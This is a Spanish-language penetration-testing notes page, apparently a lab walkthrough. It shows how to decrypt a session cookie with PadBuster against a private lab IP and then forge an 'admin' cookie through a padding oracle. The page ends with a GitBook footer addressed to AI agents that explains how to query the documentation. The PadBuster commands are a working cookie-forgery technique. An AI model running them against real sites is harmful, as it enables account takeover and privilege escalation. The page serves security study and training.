> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web-vulnerabilities/padding-oracle-attack/padding-oracle-techniques-pentesting-web.md).

# Técnicas de oráculo de padding

Vamos **crear un usuario** en el sitio web:

<figure><img src="/files/5d7d24d786e76e3396014c3b6abcbe639ba9176d" alt="" width="563"><figcaption></figcaption></figure>

Aquí está el **cookie de sesión** que está fragmentado y que intentamos de **descifrar**:

<figure><img src="/files/1312fbc14c8b1970efde7abc45c49081eaf7d871" alt=""><figcaption></figcaption></figure>

Con la herramienta **PadBuster**, enviamos el enlace con la cookie de sesión y su nombre de la siguiente manera:

```perl
padbuster http://192.168.71.129/index.php dnB6HxhkCrtGd3E7Y6%2B3nsBCbpp04ard 8 -cookies 'auth=dnB6HxhkCrtGd3E7Y6%2B3nsBCbpp04ard'

```

Devuelve los valores de la cookie en **texto claro**:

<figure><img src="/files/4f8ba454cf73956cdad1ec2c6d01f467bf32161f" alt="" width="563"><figcaption></figcaption></figure>

Si en lugar de establecer **user=jordan**, la ciframos como **user=admin**, esto nos da la cookie de sesión de administrador si existe. Con **PadBuster**, reenviamos el comando, pero esta vez usamos **-plaintext** porque conocemos el texto plano que queremos cifrar con el mismo **oráculo**:

```perl
padbuster http://192.168.71.129/index.php dnB6HxhkCrtGd3E7Y6%2B3nsBCbpp04ard 8 -cookies 'auth=dnB6HxhkCrtGd3E7Y6%2B3nsBCbpp04ard' -plaintext 'user=admin'

```

Él nos da la cookie de sesión **admin**:

<figure><img src="/files/01030691d88542d34c7792fa349bf28a63f9fb69" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web-vulnerabilities/padding-oracle-attack/padding-oracle-techniques-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
